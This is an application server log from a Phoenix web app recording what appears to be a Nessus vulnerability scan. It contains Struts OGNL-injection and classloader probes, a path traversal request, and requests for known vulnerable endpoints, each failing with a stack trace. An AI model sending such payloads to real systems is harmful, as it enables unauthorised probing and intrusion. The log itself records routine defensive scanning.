[Thu Sep  3 08:32:49.124000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39722] Sent 200 in 2ms
[Thu Sep  3 08:32:49.937000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39722] GET /
[Thu Sep  3 08:32:49.938000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:39722] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"class.classLoader.URLs" => %{"0" => "struts_2_3_16_1_classloader_manipulation-1788424368"}}
  Pipelines: [:browser]
[Thu Sep  3 08:32:49.938000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39722] Sent 200 in 868µs
[Thu Sep  3 08:32:53.784000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:32:55.504000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38016] GET //${797661676+5}.action
[Thu Sep  3 08:32:55.532000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38016] ** (Phoenix.Router.NoRouteError) no route found for GET /${797661676+5}.action (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:56.509000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38016] GET //${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.print('Nessus%20Response:%20'),%23w.println('struts_2_3_14_3_command_execution-797661676'),%23w.flush(),%23w.close()}.action
[Thu Sep  3 08:32:56.541000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38016] ** (Phoenix.Router.NoRouteError) no route found for GET /${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.print('Nessus%20Response:%20'),%23w.println('struts_2_3_14_3_command_execution-797661676'),%23w.flush(),%23w.close()}.action (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:00.047000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38022] GET /sc3/console.php
[Thu Sep  3 08:33:00.073000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38022] ** (Phoenix.Router.NoRouteError) no route found for GET /sc3/console.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:01.496000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38024] GET /
[Thu Sep  3 08:33:01.496000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38024] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:33:01.497000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38024] Sent 200 in 793µs
[Thu Sep  3 08:33:06.954000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49612] GET /.anydomain.test
[Thu Sep  3 08:33:06.973000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49612] ** (Phoenix.Router.NoRouteError) no route found for GET /.anydomain.test (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:07.575000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49620] GET /etc/mnt_info.csv
[Thu Sep  3 08:33:07.617000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49620] ** (Phoenix.Router.NoRouteError) no route found for GET /etc/mnt_info.csv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:10.740000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49636] POST /javax.faces.resource/dynamiccontent.properties.xhtml
[Thu Sep  3 08:33:10.762000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49636] ** (Phoenix.Router.NoRouteError) no route found for POST /javax.faces.resource/dynamiccontent.properties.xhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:14.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60316] GET /dagent/checkprofile.asp
[Thu Sep  3 08:33:14.423000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60316] ** (Phoenix.Router.NoRouteError) no route found for GET /dagent/checkprofile.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:20.412000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60332] GET /login_up.php3
[Thu Sep  3 08:33:20.426000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60332] ** (Phoenix.Router.NoRouteError) no route found for GET /login_up.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:20.811000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60344] POST /%70%68%70%70%61%74%68/%70%68%70
[Thu Sep  3 08:33:20.833000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60344] ** (Phoenix.Router.NoRouteError) no route found for POST /%70%68%70%70%61%74%68/%70%68%70 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:27.154000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38336] GET /php/php.exe
[Thu Sep  3 08:33:27.182000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38336] ** (Phoenix.Router.NoRouteError) no route found for GET /php/php.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:29.811000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38340] GET /
[Thu Sep  3 08:33:29.811000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38340] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:33:29.812000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38340] Sent 200 in 773µs
[Thu Sep  3 08:33:30.667000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38352] GET /xsql/demo/airport/airport.xsql
[Thu Sep  3 08:33:30.714000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38352] ** (Phoenix.Router.NoRouteError) no route found for GET /xsql/demo/airport/airport.xsql (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:30.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38340] GET /
[Thu Sep  3 08:33:30.814000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38340] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:33:30.815000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38340] Sent 200 in 775µs
[Thu Sep  3 08:33:36.817000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44904] GET /PSIGW/HttpListeningConnector
[Thu Sep  3 08:33:36.835000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44904] ** (Phoenix.Router.NoRouteError) no route found for GET /PSIGW/HttpListeningConnector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:41.905000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44912] GET /OvCgi/freeIPaddrs.ovpl
[Thu Sep  3 08:33:41.929000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44912] ** (Phoenix.Router.NoRouteError) no route found for GET /OvCgi/freeIPaddrs.ovpl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:44.407000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37302] GET /setup/setup-/../../log.jsp
[Thu Sep  3 08:33:44.429000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37302] ** (Phoenix.Router.NoRouteError) no route found for GET /setup/setup-/../../log.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:48.663000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37318] GET /lcgi/sewse.nlm
[Thu Sep  3 08:33:48.689000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37318] ** (Phoenix.Router.NoRouteError) no route found for GET /lcgi/sewse.nlm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
